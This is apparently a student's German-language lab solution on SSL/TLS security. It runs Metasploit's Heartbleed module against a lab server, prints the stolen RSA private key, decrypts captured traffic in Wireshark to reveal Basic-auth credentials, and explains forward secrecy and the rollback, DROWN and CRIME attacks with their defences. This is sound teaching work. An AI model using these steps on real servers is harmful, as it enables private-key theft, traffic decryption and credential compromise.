2.)
a.)
(a) Führen Sie einen Heartbleedangriff mittels Metasploit auf den verwundbaren Server durch und beschaffen Sie sich den geheimen RSA-Schlüssel.

In Metasploit:
use auxiliary/scanner/ssl/openssl_heartbleed
set RHOSTS 192.168.1.10
set ACTION KEYS
run

In der neu erstellten Datei befindet sich der Key:

-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEAyUSgpv7pEzDTihKH2zBwrjVvPvF15ItyncUEVMX3L3OgODxH
IdjRS6EFgLmcnkoxioP0xblFCnehfp3uOK/N6O0L7frZJAcEWbYi6n/Q457ga9Qm
eHK18YSMgIZM63R2ORRsaIsPA0isTJJ06l8Oy/TcblUSW0Ka8Wv1XXSb38+GrwwS
jsSG3KhcBGjNE38JBxrxTEPPWI/iR3YxrcOk4/b+wK4+vdgQiEh7lKmk7qJ429t1
0Tl879TKEiszzdTOJUM+LCTnriQQCUOo4B1gnT03IzO6HnJED/y4h8SxT87ydbP1
q/em+X1i8iWjPyscm7kCln+l37aqGwo6AgLD1QIDAQABAoIBAQCrF4K10xYQ8T2y
LsR8aLYw8U2LJTnBuWUKhvOCmPLizJjTlTImrKhmcRA7eA2SZaGtjTTja/Yryrxm
5Rwf5hrVOcUdXVN/E9P36yPNUjAhfupp32OAmoreL348t23l7g+dwCXTzPpLIVkO
kqV+oqXybUmBJSJAn+MU/WAMPNdQrhh0U5YGPypM0NYFmXRSf0gpdyyXb2RL+jiA
A2UwKaUdcFgl2jzUDaB+3VWk/JAaG2IdYBG6Ki0/v3QBJ3VbRrBM4up5Ky03G/77
6MxocWJt8pjG3Q7EammyIoXJ7eFkNZcgPmIvLECVxf8L1lSiMbmzvChvvFW5hRL1
FVuWWtu1AoGBAOPrZ2cvxoEK+CLsQ1/t4wlSy0m6145OiqSgt5m/pJhp4IGT6Ey2
SPgBxpnL/l35ZG7QD9dA64TvQWB5DJKq5vO6sTJWpemI1TRon35eqMS+TgdenE5F
6+Sx62nZPCZ2UEsKrLLrpUqnBjbMIiG+4fla9kF8INPnPWkYjdzr4IQzAoGBAOIQ
onnWELofltXqVJdc2p9+DgRshPRFX6EzDsOWB1BExwlHpy2FgVEpszVfZLReriVb
KpwV+R4Xe+Z5EiycA/i39ypQK2tMJSzJj+CEp5jfjyPjKxespSHEXRmYux6hBBO2
ayS10wx44y6fFuGkk5RZ4g9rI+iJu0w4nEv5uE/XAoGBAIYjprDhOlf6R73uBV0x
Gb0EAGb9Ux4K9agcetI/KzUUozBAB6kWY22rReKAX82ZGNXrGFecesC7O2P2+kJb
2R87EkzJGE6Q3MJCjRQHzBY21p+ZvC6JEmN/n0iltLQCUBFKUAfhjl+YW5zmmXP4
7vAd6+7wijWM0+TFscCDBplnAoGBAJSeVQJ+Hd8O123osRYVYFEMYRC9eybP2M+0
Llec8U/u9179cUW3CE4geQV0olMGD7zVU4zr0SvcSoM5Qx56rw27e82giPrwQ1xP
Yrw62afiCUuRlAnrYWBypLYoN5QqTPDcs1GeC5KegtRqmHNda/xSnxB94kyFB9JT
QUWddXNfAoGACfFSvdjoERUaor0AYAVEsrVqRSu5dHEFTGOc00DIzoHYqwpWTvup
PAR2xp8jsTtMXg9krVG4cqzbp/ZFECvmymFKP3WeRp8OXVEyg5WptVEVzjjDaouZ
EfutQILVD0yPWS9ghN0j9UuUBdaGu18KGfjsfkIfVhuxSGxh4PacEPU=
-----END RSA PRIVATE KEY-----

openssl rsa -in rsa.txt -pubout > key.pub

-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAyUSgpv7pEzDTihKH2zBw
rjVvPvF15ItyncUEVMX3L3OgODxHIdjRS6EFgLmcnkoxioP0xblFCnehfp3uOK/N
6O0L7frZJAcEWbYi6n/Q457ga9QmeHK18YSMgIZM63R2ORRsaIsPA0isTJJ06l8O
y/TcblUSW0Ka8Wv1XXSb38+GrwwSjsSG3KhcBGjNE38JBxrxTEPPWI/iR3YxrcOk
4/b+wK4+vdgQiEh7lKmk7qJ429t10Tl879TKEiszzdTOJUM+LCTnriQQCUOo4B1g
nT03IzO6HnJED/y4h8SxT87ydbP1q/em+X1i8iWjPyscm7kCln+l37aqGwo6AgLD
1QIDAQAB
-----END PUBLIC KEY-----

(b) Zerlegen Sie den RSA-Schlüssel mittels openssl in seine Bestandteile und bestimmen Sie den Entschlüsselungsexponenten.

In der Konsole:
openssl rsa -text -in rsa.txt -out key.pub

In key.pub:
Private-Key: (2048 bit)
modulus:
    00:c9:44:a0:a6:fe:e9:13:30:d3:8a:12:87:db:30:
    70:ae:35:6f:3e:f1:75:e4:8b:72:9d:c5:04:54:c5:
    f7:2f:73:a0:38:3c:47:21:d8:d1:4b:a1:05:80:b9:
    9c:9e:4a:31:8a:83:f4:c5:b9:45:0a:77:a1:7e:9d:
    ee:38:af:cd:e8:ed:0b:ed:fa:d9:24:07:04:59:b6:
    22:ea:7f:d0:e3:9e:e0:6b:d4:26:78:72:b5:f1:84:
    8c:80:86:4c:eb:74:76:39:14:6c:68:8b:0f:03:48:
    ac:4c:92:74:ea:5f:0e:cb:f4:dc:6e:55:12:5b:42:
    9a:f1:6b:f5:5d:74:9b:df:cf:86:af:0c:12:8e:c4:
    86:dc:a8:5c:04:68:cd:13:7f:09:07:1a:f1:4c:43:
    cf:58:8f:e2:47:76:31:ad:c3:a4:e3:f6:fe:c0:ae:
    3e:bd:d8:10:88:48:7b:94:a9:a4:ee:a2:78:db:db:
    75:d1:39:7c:ef:d4:ca:12:2b:33:cd:d4:ce:25:43:
    3e:2c:24:e7:ae:24:10:09:43:a8:e0:1d:60:9d:3d:
    37:23:33:ba:1e:72:44:0f:fc:b8:87:c4:b1:4f:ce:
    f2:75:b3:f5:ab:f7:a6:f9:7d:62:f2:25:a3:3f:2b:
    1c:9b:b9:02:96:7f:a5:df:b6:aa:1b:0a:3a:02:02:
    c3:d5
publicExponent: 65537 (0x10001)
privateExponent:
    00:ab:17:82:b5:d3:16:10:f1:3d:b2:2e:c4:7c:68:
    b6:30:f1:4d:8b:25:39:c1:b9:65:0a:86:f3:82:98:
    f2:e2:cc:98:d3:95:32:26:ac:a8:66:71:10:3b:78:
    0d:92:65:a1:ad:8d:34:e3:6b:f6:2b:ca:bc:66:e5:
    1c:1f:e6:1a:d5:39:c5:1d:5d:53:7f:13:d3:f7:eb:
    23:cd:52:30:21:7e:ea:69:df:63:80:9a:8a:de:2f:
    7e:3c:b7:6d:e5:ee:0f:9d:c0:25:d3:cc:fa:4b:21:
    59:0e:92:a5:7e:a2:a5:f2:6d:49:81:25:22:40:9f:
    e3:14:fd:60:0c:3c:d7:50:ae:18:74:53:96:06:3f:
    2a:4c:d0:d6:05:99:74:52:7f:48:29:77:2c:97:6f:
    64:4b:fa:38:80:03:65:30:29:a5:1d:70:58:25:da:
    3c:d4:0d:a0:7e:dd:55:a4:fc:90:1a:1b:62:1d:60:
    11:ba:2a:2d:3f:bf:74:01:27:75:5b:46:b0:4c:e2:
    ea:79:2b:2d:37:1b:fe:fb:e8:cc:68:71:62:6d:f2:
    98:c6:dd:0e:c4:6a:69:b2:22:85:c9:ed:e1:64:35:
    97:20:3e:62:2f:2c:40:95:c5:ff:0b:d6:54:a2:31:
    b9:b3:bc:28:6f:bc:55:b9:85:12:f5:15:5b:96:5a:
    db:b5
prime1:
    00:e3:eb:67:67:2f:c6:81:0a:f8:22:ec:43:5f:ed:
    e3:09:52:cb:49:ba:d7:8e:4e:8a:a4:a0:b7:99:bf:
    a4:98:69:e0:81:93:e8:4c:b6:48:f8:01:c6:99:cb:
    fe:5d:f9:64:6e:d0:0f:d7:40:eb:84:ef:41:60:79:
    0c:92:aa:e6:f3:ba:b1:32:56:a5:e9:88:d5:34:68:
    9f:7e:5e:a8:c4:be:4e:07:5e:9c:4e:45:eb:e4:b1:
    eb:69:d9:3c:26:76:50:4b:0a:ac:b2:eb:a5:4a:a7:
    06:36:cc:22:21:be:e1:f9:5a:f6:41:7c:20:d3:e7:
    3d:69:18:8d:dc:eb:e0:84:33
prime2:
    00:e2:10:a2:79:d6:10:ba:1f:96:d5:ea:54:97:5c:
    da:9f:7e:0e:04:6c:84:f4:45:5f:a1:33:0e:c3:96:
    07:50:44:c7:09:47:a7:2d:85:81:51:29:b3:35:5f:
    64:b4:5e:ae:25:5b:2a:9c:15:f9:1e:17:7b:e6:79:
    12:2c:9c:03:f8:b7:f7:2a:50:2b:6b:4c:25:2c:c9:
    8f:e0:84:a7:98:df:8f:23:e3:2b:17:ac:a5:21:c4:
    5d:19:98:bb:1e:a1:04:13:b6:6b:24:b5:d3:0c:78:
    e3:2e:9f:16:e1:a4:93:94:59:e2:0f:6b:23:e8:89:
    bb:4c:38:9c:4b:f9:b8:4f:d7
exponent1:
    00:86:23:a6:b0:e1:3a:57:fa:47:bd:ee:05:5d:31:
    19:bd:04:00:66:fd:53:1e:0a:f5:a8:1c:7a:d2:3f:
    2b:35:14:a3:30:40:07:a9:16:63:6d:ab:45:e2:80:
    5f:cd:99:18:d5:eb:18:57:9c:7a:c0:bb:3b:63:f6:
    fa:42:5b:d9:1f:3b:12:4c:c9:18:4e:90:dc:c2:42:
    8d:14:07:cc:16:36:d6:9f:99:bc:2e:89:12:63:7f:
    9f:48:a5:b4:b4:02:50:11:4a:50:07:e1:8e:5f:98:
    5b:9c:e6:99:73:f8:ee:f0:1d:eb:ee:f0:8a:35:8c:
    d3:e4:c5:b1:c0:83:06:99:67
exponent2:
    00:94:9e:55:02:7e:1d:df:0e:d7:6d:e8:b1:16:15:
    60:51:0c:61:10:bd:7b:26:cf:d8:cf:b4:2e:57:9c:
    f1:4f:ee:f7:5e:fd:71:45:b7:08:4e:20:79:05:74:
    a2:53:06:0f:bc:d5:53:8c:eb:d1:2b:dc:4a:83:39:
    43:1e:7a:af:0d:bb:7b:cd:a0:88:fa:f0:43:5c:4f:
    62:bc:3a:d9:a7:e2:09:4b:91:94:09:eb:61:60:72:
    a4:b6:28:37:94:2a:4c:f0:dc:b3:51:9e:0b:92:9e:
    82:d4:6a:98:73:5d:6b:fc:52:9f:10:7d:e2:4c:85:
    07:d2:53:41:45:9d:75:73:5f
coefficient:
    09:f1:52:bd:d8:e8:11:15:1a:a2:bd:00:60:05:44:
    b2:b5:6a:45:2b:b9:74:71:05:4c:63:9c:d3:40:c8:
    ce:81:d8:ab:0a:56:4e:fb:a9:3c:04:76:c6:9f:23:
    b1:3b:4c:5e:0f:64:ad:51:b8:72:ac:db:a7:f6:45:
    10:2b:e6:ca:61:4a:3f:75:9e:46:9f:0e:5d:51:32:
    83:95:a9:b5:51:15:ce:38:c3:6a:8b:99:11:fb:ad:
    40:82:d5:0f:4c:8f:59:2f:60:84:dd:23:f5:4b:94:
    05:d6:86:bb:5f:0a:19:f8:ec:7e:42:1f:56:1b:b1:
    48:6c:61:e0:f6:9c:10:f5

(c) Im Labornetzwerk verbindet sich ein Client via SSL in regelmäßigen Abständen mit diesem Server und es findet ein Datenaustausch statt. Versuchen Sie an den Inhalt dieser Daten zu gelangen.
Den RSA Key in Wireshark einbinden:
Bearbeiten -> Einstellungen -> Protocols -> SSL -> RSA keys list -> Edit
IP address: 192.168.1.10, Port: 443, Protocol: tcp, Key File: rsa.txt, Password: <empty>
SSL debug file -> ssldebug.txt neu erstellt

Eine entschlüsselte Nachricht:
GET /private/output.txt HTTP/1.1
Authorization: Basic aXRzdXNlcjp4T3VXTVZrcWFJbFRIU1JmdnJvcA==
User-Agent: curl/7.38.0
Host: 192.168.1.10
Accept: */*

Base64 zu PlainText:
aXRzdXNlcjp4T3VXTVZrcWFJbFRIU1JmdnJvcA==
itsuser:xOuWMVkqaIlTHSRfvrop

Damit auf der Seite einloggen: https://192.168.1.10/private/output.txt
Inhalt der Seite: 3873dbad19d9b5edd -

b.) Wie ändert sich die Situation, wenn TLS mit DHE-RSA-Schlüsselaustausch anstelle von SSL mit RSA-Schlüsselaustausch bei gleichbleibenden RSA-Schlüssel verwendet wird.
The idea is that even if someone records traffic and compromises the server to get its private key, they won't be able to decipher that traffic, because they'll be missing the ephemeral DH parameters that won't have been saved. With fixed DH, the private DH parameters are effectively the private key: they would also be compromised in the same way and allow the attacker to decipher past traffic too.

3.)
a.) Beschreiben Sie, wie man „Cipher Suite Rollback“ und „ChangeCipherSpec drop“verhindert.
"The problem was fixed with the release of SSL 3.0 by authenticating all messages of the Handshake Protocol."
"A hash value of all handshake messages sent and received by the client was included into the computations of the Client Finished message."
"There are several countermeasures for defending against the Cipher Suite Rollback Attack:
- Message Authentication to prevent the messages from being modified (Fernandez,E.B. 2013).
- Sender  Authentication that insures the non-repudiation of the messages. (Fernandez,  E.B.  2013;  Schumacher  et  al. 2006)
- Message integrity that prevents the messages from any modification (Fernandez, E.B. 2013).
- Confidentiality of traffic flow that prevents traffic analysis (Fernandez,E.B. 2013)."

"The author’s recommendation is to force both parties to ensure that a ChangeCipherSpec message is received before accepting the Finished message. According to RFC 2246 TLS 1.0 enforces this recommendation."

b.) Beschreiben Sie kurz und knapp die Grundidee von „Drown“ und wie man diesen Angriff verhindern kann.
"The exploit includes a chosen-ciphertext attack with the use of a SSLv2 server as a Bleichenbacher oracle."
"To protect against DROWN, server operators need to ensure that their private keys are not used anywhere with server software that allows SSLv2 connections."

c.) Beschreiben Sie kurz und knapp die Grundidee von „Crime“ und wie man diesen Angriff verhindern kann. Gehen Sie insbesondere darauf ein, worauf es der Angreifer bei diesem Angriff abgesehen hat.
"CRIME decrypts HTTPS cookies set by websites to remember authenticated users by means of brute force. The attack code forces the victim's browser to send specially crafted HTTPS requests to a targeted website and analyzes the variation in their length after they've been compressed in order to determine the value of the victim's session cookie."
"This is possible because SSL/TLS and SPDY use a compression algorithm called DEFLATE, which eliminates duplicate strings."
"CRIME can be defeated by preventing the use of compression, either at the client end, by the browser disabling the compression of SPDY requests, or by the website preventing the use of data compression on such transactions using the protocol negotiation features of the TLS protocol."
"When used to recover the content of secret authentication cookies, it allows an attacker to perform session hijacking on an authenticated web session, allowing the launching of further attacks."